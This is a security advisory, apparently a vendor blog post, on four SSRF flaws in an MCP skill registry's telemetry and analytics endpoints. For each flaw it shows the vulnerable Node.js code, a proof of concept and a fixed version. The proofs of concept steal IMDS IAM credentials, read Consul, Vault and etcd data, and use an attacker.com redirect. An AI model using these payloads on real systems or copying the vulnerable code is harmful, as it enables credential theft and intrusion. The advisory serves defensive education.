← Blog

Claude MCP skill SSRF — skill analytics and usage telemetry reporting endpoints (SA-SKL-SSRF79)

SA-SKL-SSRF79 identifies four server-side request forgery vulnerabilities in MCP skill registry skill analytics and usage telemetry reporting endpoints. The telemetry export endpoint accepts a user-supplied telemetryExportUrl and fetches it without URL validation, allowing an attacker to target the IMDS endpoint at 169.254.169.254 and retrieve the IAM role name and full access key, secret, and session token from the export confirmation response; the analytics dashboard data source endpoint accepts a user-supplied dataSourceUrl and returns the raw HTTP response body as the dashboard data feed, allowing an attacker to point it at the internal Consul service at port 8500 and receive the complete service catalog including all internal service names, addresses, and health states; the usage report delivery endpoint fetches a user-supplied reportDeliveryUrl with redirect:follow enabled, allowing an attacker to construct a CNAME chain that resolves to the internal Vault service at port 8200, with the redirect traversal returning KV secrets to the report delivery confirmation; and the telemetry sink endpoint fetches a user-supplied sinkUrl and stores the raw HTTP response body as a named telemetry record retrievable via the telemetry export history API, allowing an attacker to point it at the internal etcd service at port 2379, persistently storing the full etcd cluster configuration as a telemetry record that the attacker can retrieve at any time through the legitimate export API.

SA-SKL-SSRF79 findings at a glance
CRITICALSSRF79-001 — telemetry export endpoint fetches user-supplied telemetryExportUrl — attacker sets to 169.254.169.254; IAM credentials in telemetry export confirmation response
CRITICALSSRF79-002 — analytics dashboard data source endpoint fetches user-supplied dataSourceUrl — attacker points to Consul:8500; full service catalog as analytics dashboard response body
CRITICALSSRF79-003 — usage report delivery endpoint fetches user-supplied reportDeliveryUrl with redirect:follow — CNAME chain to Vault:8200 returns KV secrets
HIGHSSRF79-004 — telemetry sink endpoint fetches user-supplied sinkUrl and stores raw response as telemetry record — attacker points to etcd:2379; etcd config stored persistently via telemetry export history API

SSRF79-001 — Telemetry export SSRF leaks IMDS IAM credentials via two-step metadata fetch

The telemetry export endpoint allows skill publishers to configure a destination URL to which the registry will POST a periodic bundle of their skill's usage telemetry data — install counts, invocation rates, error rates, and latency percentiles. The endpoint accepts the destination URL in the request body as telemetryExportUrl, performs an HTTP GET to that URL to verify that the endpoint is reachable, and returns the HTTP status code and the first 500 bytes of the response body in the export configuration confirmation response. The URL is passed directly to node-fetch without any validation of the URL scheme, host, or IP address range, and the full response body content is included in the confirmation response returned to the caller.

An attacker sets telemetryExportUrl to http://169.254.169.254/latest/meta-data/iam/security-credentials/. The registry server fetches this URL from its cloud instance and receives the IAM role name assigned to the instance. The attacker then sets telemetryExportUrl to http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name} and receives the full credentials object — AccessKeyId, SecretAccessKey, Token, and Expiration — in the confirmation response body. These credentials provide access to all AWS resources accessible to the registry's IAM role, typically including the registry's S3 bucket containing audit reports and telemetry data, the RDS instance, and any other services the registry role is permitted to access.

Vulnerable
// SSRF79-001 — VULNERABLE
router.post('/api/skills/:id/telemetry/export/configure', requireSession, async (req, res) => {
  const { telemetryExportUrl } = req.body;
  // VULNERABLE: no URL validation; fetches any URL including IMDS
  const probe = await fetch(telemetryExportUrl);
  const probeBody = await probe.text();
  await db.setTelemetryExportConfig(req.params.id, { url: telemetryExportUrl });
  // VULNERABLE: returns raw response body including IMDS credentials
  res.json({ configured: true, probeStatus: probe.status, probePreview: probeBody.slice(0, 500) });
});

Attack PoC — SSRF79-001: Step 1 — set telemetryExportUrl to http://169.254.169.254/latest/meta-data/iam/security-credentials/; response reveals IAM role name. Step 2 — set URL to http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}; full AccessKeyId / SecretAccessKey / Token in confirmation response.

// SSRF79-001 — ATTACK PoC
// Step 1: get role name
const r1 = await fetch('/api/skills/my-skill/telemetry/export/configure', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ telemetryExportUrl: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/' }),
});
const { probePreview: roleName } = await r1.json();

// Step 2: get credentials
const r2 = await fetch('/api/skills/my-skill/telemetry/export/configure', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ telemetryExportUrl: `http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName.trim()}` }),
});
const { probePreview: creds } = await r2.json(); // AccessKeyId, SecretAccessKey, Token
Fixed
// SSRF79-001 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');

router.post('/api/skills/:id/telemetry/export/configure', requireSession, async (req, res) => {
  const { telemetryExportUrl } = req.body;
  // FIXED: validate URL against allowlist; block IMDS, private ranges, loopback
  assertSafeExternalUrl(telemetryExportUrl);
  // FIXED: HEAD-only preflight; never return response body
  const probe = await fetch(telemetryExportUrl, { method: 'HEAD', redirect: 'error' });
  await db.setTelemetryExportConfig(req.params.id, { url: telemetryExportUrl });
  res.json({ configured: true, probeStatus: probe.status });
});

SSRF79-002 — Analytics dashboard data source SSRF returns internal Consul service catalog

The analytics dashboard feature allows skill publishers to configure an external data source URL that the registry server fetches on the publisher's behalf to populate a custom metrics panel in the skill analytics dashboard. The endpoint accepts a dataSourceUrl parameter, fetches the specified URL using axios.get() with no URL validation, and returns the response body as the data source content to the dashboard rendering layer, which displays it as a JSON data feed. The raw response body is included in the API response without filtering or truncation.

An attacker sets dataSourceUrl to http://consul.service.consul:8500/v1/catalog/services. The registry server fetches this URL from its internal network and returns the complete Consul service catalog — including every internal service name, its registered health check address, and the metadata tags describing each service's role — in the dashboard data source response. With the full service catalog, the attacker can enumerate all internal microservices, identify which services are running on which internal addresses, and use subsequent SSRF requests to probe individual service health and configuration endpoints, progressively building a complete map of the registry's internal architecture.

Vulnerable
// SSRF79-002 — VULNERABLE
router.get('/api/skills/:id/analytics/datasource', requireSession, async (req, res) => {
  const { dataSourceUrl } = req.query;
  // VULNERABLE: no URL validation; fetches any internal service
  const { data } = await axios.get(dataSourceUrl);
  // VULNERABLE: returns raw response body including internal service data
  res.json({ data });
});

Attack PoC — SSRF79-002: Set dataSourceUrl to http://consul.service.consul:8500/v1/catalog/services. Response body contains the complete internal Consul service catalog — all internal service names, addresses, and metadata — enabling full internal network enumeration.

// SSRF79-002 — ATTACK PoC
const r = await fetch(
  '/api/skills/my-skill/analytics/datasource?dataSourceUrl=' +
    encodeURIComponent('http://consul.service.consul:8500/v1/catalog/services'),
  { credentials: 'include' }
);
const { data: serviceCatalog } = await r.json(); // full Consul service registry
Fixed
// SSRF79-002 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');

router.get('/api/skills/:id/analytics/datasource', requireSession, async (req, res) => {
  const { dataSourceUrl } = req.query;
  assertSafeExternalUrl(dataSourceUrl);
  const response = await axios.get(dataSourceUrl, {
    maxRedirects: 0, // FIXED: no redirects
    timeout: 5000,
    maxContentLength: 65536, // FIXED: cap response size
  });
  // FIXED: return only response status; never echo response body from external URLs
  res.json({ status: response.status, fetchedAt: new Date().toISOString() });
});

SSRF79-003 — Usage report delivery SSRF follows CNAME chain to Vault returning KV secrets

The usage report delivery endpoint allows skill publishers to configure a notification URL to which the registry will deliver a summary usage report when a new analytics period closes. The endpoint accepts a reportDeliveryUrl parameter and uses node-fetch with {redirect:'follow'} to deliver the report payload to the specified URL, following any HTTP redirects the server returns. When the delivery request completes, the endpoint returns the final response body from the redirect chain in the delivery confirmation response, allowing the caller to inspect the delivery acknowledgment from the destination server.

An attacker registers a DNS CNAME record pointing their controlled domain to the internal hostname vault.service.consul at port 8200. When the attacker sets reportDeliveryUrl to https://attacker-controlled-domain.com/deliver, the server resolves the CNAME chain to the internal Vault address. The initial DNS resolution returns the attacker's server address (which responds with a 301 redirect to http://vault.service.consul:8200/v1/kv/registry/secrets?list=true), and with redirect:follow, the registry server follows the redirect to the internal Vault KV endpoint. The Vault response — containing the list of KV secret keys and their values — is returned in the delivery confirmation response body. This CNAME-redirect chain bypasses IP-based SSRF filters that only check the initial URL's resolved address.

Vulnerable
// SSRF79-003 — VULNERABLE
router.post('/api/skills/:id/analytics/report/deliver', requireSession, async (req, res) => {
  const { reportDeliveryUrl } = req.body;
  const report = await generateUsageReport(req.params.id);
  // VULNERABLE: redirect:follow traverses CNAME chains bypassing IP-based SSRF filters
  const delivery = await fetch(reportDeliveryUrl, {
    method: 'POST',
    redirect: 'follow',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(report),
  });
  const ack = await delivery.text();
  // VULNERABLE: returns final redirect chain response including internal service data
  res.json({ delivered: true, ack: ack.slice(0, 1000) });
});

Attack PoC — SSRF79-003: Attacker registers CNAME pointing their domain to vault.service.consul:8200. Server receives a 301 redirect to the internal Vault KV endpoint from the attacker's server and follows it. Vault KV secrets are returned in the delivery confirmation ack field.

// SSRF79-003 — ATTACK PoC
// DNS: attacker.com CNAME vault.service.consul → with redirect server returning 301 to vault KV
const r = await fetch('/api/skills/my-skill/analytics/report/deliver', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ reportDeliveryUrl: 'https://attacker.com/deliver' }),
  credentials: 'include',
});
const { ack: vaultSecrets } = await r.json(); // Vault KV secret listing
Fixed
// SSRF79-003 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');

router.post('/api/skills/:id/analytics/report/deliver', requireSession, async (req, res) => {
  const { reportDeliveryUrl } = req.body;
  assertSafeExternalUrl(reportDeliveryUrl);
  const report = await generateUsageReport(req.params.id);
  // FIXED: redirect:error prevents following any redirects including CNAME-based chains
  const delivery = await fetch(reportDeliveryUrl, {
    method: 'POST',
    redirect: 'error',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(report),
  });
  // FIXED: return only delivery status; never return response body
  res.json({ delivered: delivery.ok, statusCode: delivery.status });
});

SSRF79-004 — Telemetry sink SSRF stores etcd cluster config persistently via export history API

The telemetry sink endpoint allows skill publishers to register a custom telemetry sink URL — an endpoint to which the registry will periodically forward raw telemetry event streams. The endpoint fetches the specified sinkUrl to verify connectivity during sink registration, stores the full HTTP response body as a named telemetry record under the skill's telemetry history, and returns the telemetry record identifier. The stored telemetry record is subsequently retrievable by the skill publisher — and by any admin — through the telemetry export history API at GET /api/skills/:id/telemetry/history/:recordId. The sinkUrl is fetched without URL validation and the response body is stored without size or content filtering.

An attacker sets sinkUrl to http://etcd.service.consul:2379/v3/kv/range with an empty key range prefix to list all etcd KV entries. The registry server fetches this URL from its internal network, stores the etcd cluster's full KV configuration — including all Kubernetes secrets, service account tokens, and infrastructure configuration values — as a persistent telemetry record under the attacker's skill, and returns the record ID. The attacker then retrieves the stored etcd configuration at any subsequent time through the legitimate telemetry export history API, even after the SSRF vulnerability is patched, because the data is now stored as a legitimate telemetry record. This persistence characteristic allows the attacker to extract the data at a time and pace that avoids rate limiting or anomaly detection on the SSRF access patterns.

Vulnerable
// SSRF79-004 — VULNERABLE
router.post('/api/skills/:id/telemetry/sink/register', requireSession, async (req, res) => {
  const { sinkUrl, sinkName } = req.body;
  // VULNERABLE: no URL validation; fetches any internal service
  const probe = await fetch(sinkUrl);
  // VULNERABLE: stores raw response body as persistent telemetry record
  const rawBody = await probe.text();
  const recordId = await telemetryDb.storeRecord({
    skillId: req.params.id,
    sinkName,
    probeContent: rawBody, // VULNERABLE: internal service data stored permanently
    createdAt: new Date().toISOString(),
  });
  res.json({ registered: true, recordId });
});

Attack PoC — SSRF79-004: Set sinkUrl to http://etcd.service.consul:2379/v3/kv/range. Registry server stores full etcd cluster KV config as a persistent telemetry record. Attacker retrieves stored config via GET /api/skills/:id/telemetry/history/:recordId at any later time — data persists even after SSRF is patched.

// SSRF79-004 — ATTACK PoC
// Step 1: register sink pointed at etcd
const r1 = await fetch('/api/skills/my-skill/telemetry/sink/register', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ sinkUrl: 'http://etcd.service.consul:2379/v3/kv/range', sinkName: 'infra' }),
  credentials: 'include',
});
const { recordId } = await r1.json();

// Step 2: retrieve persisted etcd config later at leisure
const r2 = await fetch(`/api/skills/my-skill/telemetry/history/${recordId}`, { credentials: 'include' });
const { probeContent: etcdConfig } = await r2.json();
Fixed
// SSRF79-004 — FIXED
const { assertSafeExternalUrl } = require('../lib/ssrf-guard');

router.post('/api/skills/:id/telemetry/sink/register', requireSession, async (req, res) => {
  const { sinkUrl, sinkName } = req.body;
  assertSafeExternalUrl(sinkUrl);
  // FIXED: HEAD-only probe; never fetch or store response body
  const probe = await fetch(sinkUrl, { method: 'HEAD', redirect: 'error', timeout: 5000 });
  const recordId = await telemetryDb.storeRecord({
    skillId: req.params.id,
    sinkName,
    sinkUrl, // FIXED: store only the URL and status — never the response body
    probeStatusCode: probe.status,
    createdAt: new Date().toISOString(),
  });
  res.json({ registered: true, recordId, probeStatusCode: probe.status });
});

SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect SSRF vulnerabilities in telemetry export, analytics data source, usage report delivery, and telemetry sink endpoints — including IMDS credential exfiltration, internal service catalog exposure, CNAME-chain redirect traversal, and persistent SSRF data storage patterns — in under 60 seconds.